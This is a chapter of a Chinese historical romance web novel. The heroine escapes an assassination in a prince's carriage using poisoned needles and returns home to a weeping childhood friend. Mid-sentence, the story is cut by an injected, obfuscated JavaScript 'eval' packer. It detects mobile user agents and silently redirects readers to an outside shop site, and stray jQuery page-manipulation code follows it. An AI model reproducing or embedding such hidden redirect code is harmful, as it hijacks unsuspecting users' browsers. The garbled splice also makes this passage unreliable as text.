公主解完签回来时,气压低沉。鬓间的簪花歪在一边,花瓣焉焉的地卷边。灯光照在净白的脸上,眼下的淡淡水痕泛着暖光。
“殿下。”方抚音向秦乐瑜行礼。
秦乐瑜心情不佳,闷闷不乐地瞥了方抚音一眼:“你先回去吧,本宫下次再来找你。”
方抚音没告诉秦乐瑜她的住址,但显然公主殿下自己查的到,也不怕被方抚音知道她会调查。
方抚音想了想,从怀中取出一张绣着海棠的手帕,凑上前去为秦乐瑜擦去脸上残留的泪。
“你,你干什么?”秦乐瑜被这突如其来的动作惊了下,一把夺下方抚音的手帕,色厉内荏地呵斥。
方抚音福了福身:“草民告退。”
秦乐瑜没拦下方抚音,目送她离开。手中的帕子柔软光滑,是上等的蚕丝所织,方抚音……方丈说的破局之人,会是你吗?
*^_^*
等方抚音出了寺,她才想起来这安善寺地处城郊,她来时是跟着秦乐瑜坐马车来的,现在她一个人……该如何回去?她不认路啊!完全忘了自己是有暗卫跟着的。
方抚音转身回去,想寻秦乐瑜。可公主殿下风风火火,早就没了踪影。
失魂落魄地来到寺庙门口,方抚音望着一一离开的马车,方抚音决定跟在马车后面走回去。
“这位小姐,可是在寻回程的路?”一道清风朗月般的男声自方抚音身后响起。
多熟悉的声音。方抚音指尖轻颤,她转过身子。
丰神俊朗,清隽无双。
与方抚音记忆中的成公子生得一模一样。但不同于曾经的清贵沉静,如今的他虽面色苍白,身上却是散不尽的意气风发。眼尾上挑,衣着花哨,端的一副风流公子样。
“是。”方抚音低眉顺目。
三皇子秦昱珹瞧了方抚音的脸,眼前一亮。怪不得他皇妹今日入庙还带了个他不认识的人,这相貌,的确生在了他们兄妹二人的心上。
秦昱珹摇动手中折扇,作出潇洒的姿态,对方抚音道:“小姐若是不嫌,不如与在下同乘?”
邀陌生女子同乘,即便在大锦也是极为无礼的。但方抚音以为成公子认出了她,邀她同乘是有话与她说,便不做犹豫,同意了。不过她还是留了个心眼,云锦广袖下的手轻捻细针,随时等候危险。
皇子的车厢格外宽敞,车底铺着金砖,却不是金制的。是御窑烧的细泥方砖,敲之有声,断之无孔。窗牖糊两层蝉翼纱,车内摆一张白墨双色玉棋……处处体现受宠皇子的奢华富贵。
秦昱珹将方抚音上车后快速扫视马车的动作收入眼底,勾唇为方抚音倒上一杯雨前龙井,等待方抚音眼中的惊艳。
“多谢公子。”方抚音本不想喝茶,怕影响晚上入睡,但这是皇子亲手倒的,她应该给点面子。虽然秦昱锦没有亮明身份。
方抚音对此没有任何表示。她完全看不出这些事物的价钱,这茶她喝也不出与神农谷的茶的差别。浅抿一口,她放下茶杯等待秦昱珹开口。
“在下姓成,不知姑娘姓名?”秦昱珹没从方抚音脸上看见想看的表情,挑挑眉,开启话题。
“方寸的方。”方抚音效仿秦昱珹,只回答姓氏,袖袍下的手却捏紧银针。他什么意思?不记得自己了?还是话中有话?
秦昱珹又问了方抚音几个问题,方抚音努力分析,终于得出一个荒谬的答案——这位成公子不认识自己,邀她共乘,单纯看上她的脸了。
额角青筋一跳,方抚音不死心,启唇想打探:“成公……”
“嗖——”
箭划破空气的刺耳声打断她的话,一支利箭刺破轻薄的窗纱,从两人中间穿过,又穿破另一边的纱离开车厢。
“保护公子!!!”
外头已经乱了,刀剑相碰的声音是“锵锵”的,马在嘶吼,人在喊叫,尽管几匹骏马被马夫用鞭子死死镇住,马蹄却在原地大圈,车内一晃一荡,像一艘搁在浪上的船。
秦昱珹经历惯了这种场景,淡定地喝一口茶,还不忘安抚方抚音:“姑娘莫怕,不会有事的。”
方抚音还是有些怕的。这些刺客定是来杀成公子的,若真让他们得逞,自己还如何查方家被灭门的事?此时她倒是记起了京墨还跟着她,装作心口疼,蹙眉抚上胸前藏在衣襟下的竹哨。随时准备保护秦昱珹。
外面的厮杀声渐渐平息,方抚音一口气还没松完,车门被人“砰”的一声踹开。
一个覆面的黑衣人手里提刀,刀上正往下滴什么东西,在青色的月光下看不清。但浓重的血腥味让车内两人清楚到底是什么。
秦昱珹显然没料到这次的刺客如此强悍,他的护卫竟没挡住,本就没有什么血色的小脸更加苍白。
魁梧的刺客高举大刀,直直劈向——方抚音。
方抚音:?大哥你眼神不好?她唇角一抽,差点没绷住表情,向左一偏身子。
“砰”大刀擦过方抚音的衣摆嵌入檀木车椅,没砍中目标,黑衣人中邪似的不再动弹。
方抚音明白她的毒生效了。在黑衣人闯入的瞬间她手中淬了毒的银针就被射入刺客体内,她对自己的毒很有信心。拽下刺客腰间显眼的令牌,方抚音抓住秦昱珹的手腕。外面定然还有人,但他们躲在车内定是死路一条。
秦昱珹似乎被吓傻了,呆在原地,被方抚音生拉硬拽着才下了马车。不出所料,车外还守着一人。
方抚音深吸一口气,对秦昱珹道:“快走。”她并非不怕,咚咚咚的心跳声在胸腔中连成一片,但她相信京墨的实力。现在要做的事保下成公子的命。
秦昱珹才反应过来,抖着手从袖中摸出一把镶嵌祖母绿宝石的匕首,怕得说话都结巴了:“我……我不能丢……丢下你……”
他说话的功夫,那个壮汉已向两人逼近。
蠢货,方抚音难得在心中骂人。她忍无可忍用巧劲打晕秦昱珹,扯着人躲过劈开的一刀,顺势在刺客手臂扎了一针。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724722|208812||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“咚”刺客倒地。
方抚音力气用尽了,抓秦昱珹衣领的手一松,三皇子头着地摔在地上。
“楼主。”京墨终于解决躲藏的其他刺客,跪在方抚音身前。
牢靠的护卫来了,方抚音知道安全了。另一只夹着银针的手一松,细长的毒针落下地上,手指却是止不住的颤抖。
“京墨……”方抚音眼神涣散,声音些许发颤,“我杀人了……”
京墨不会安慰人,所以当他处理好方抚音的毒,将三皇子扔到皇子府门口,送方抚音回到家时,方抚音还处在呆滞的状态。
方抚音为了防身,在针上抹致命的毒时就知道结果,可为什么当她脱离危险后,看到尸体还是会害怕,会犯恶心?
“小姐,你可回来了。周公子一直候在堂屋不肯走。”半夏见京墨带着方抚音出现在身前,惊喜道。
但她很快就注意到方抚音的异常。她家小姐的面色十分难看,面若金纸,唇无血色,周身还泛着淡淡的血腥味。她秀气的眉头顿时竖起来,关切询问:“小姐,怎么了?”
方抚音听见“周公子”三字,回了回神,她摇摇头,声线依旧不稳:“先去换身衣服。”
*^_^*
周洵意在堂屋来回踱步,他打发走苏愿后寻了方抚音很久,直到灯会结束都没找到人。担心她的安全,只好上门等候。如今已经等了将近半个时辰,她还没回来,不会出什么意外了吧?
“吱”是木门打开的声音。周洵意以为又是半夏,转向门口问:“你家小姐还……”
看清来者的脸,周洵意的眼眶霎时就红了。豆大的眼泪说来就来,他快步走到方抚音身前,拉起她的手贴上自己的脸,哽咽道:“你又丢下我。”每一个字都带了潮气,像才从水中捞出来。
方抚音本来繁杂的心绪瞬间被淌过手掌的泪勾去,她张张唇想说什么,却又无法反驳。
门没有关,月光泄进来,照在周洵意的脸上。月光与满脸的泪混在一处,亮晶晶的,像星星碎了一地。他吸了下鼻子,声响湿漉漉的,带着几分孩子气。
“小音……我好怕……”周洵意眼尾泛红,像宣纸上洇开的朱砂,琥珀色的眸子晶莹剔透,固执地紧盯方抚音的眼,“好怕像四年前一样……我当时真的以为你死了……你好狠心……”
方抚音嗫嚅片刻,最终只吐出干巴巴的三个字:“对不起……”
周洵意微凉的手覆在方抚音的手上,固定住不让她动。他脸颊蹭动方抚音的手心,让她更好地感受自己脸上滚烫的眼泪。
“阿洵,对不起。”方抚音再次道。她不敢看周洵意的眼睛,垂下头移开视线,有些躲闪。
周洵意蹲下身子仰头看方抚音的眼,再次开口:“小音,无论你做什么我都陪着你。告诉我,当年到底发生了什么?你想做什么……好吗?”他的声是颤的,是裂的,好像一股绷得太久的丝线突然断了一根,尾音散在空气里,自己先接不住了。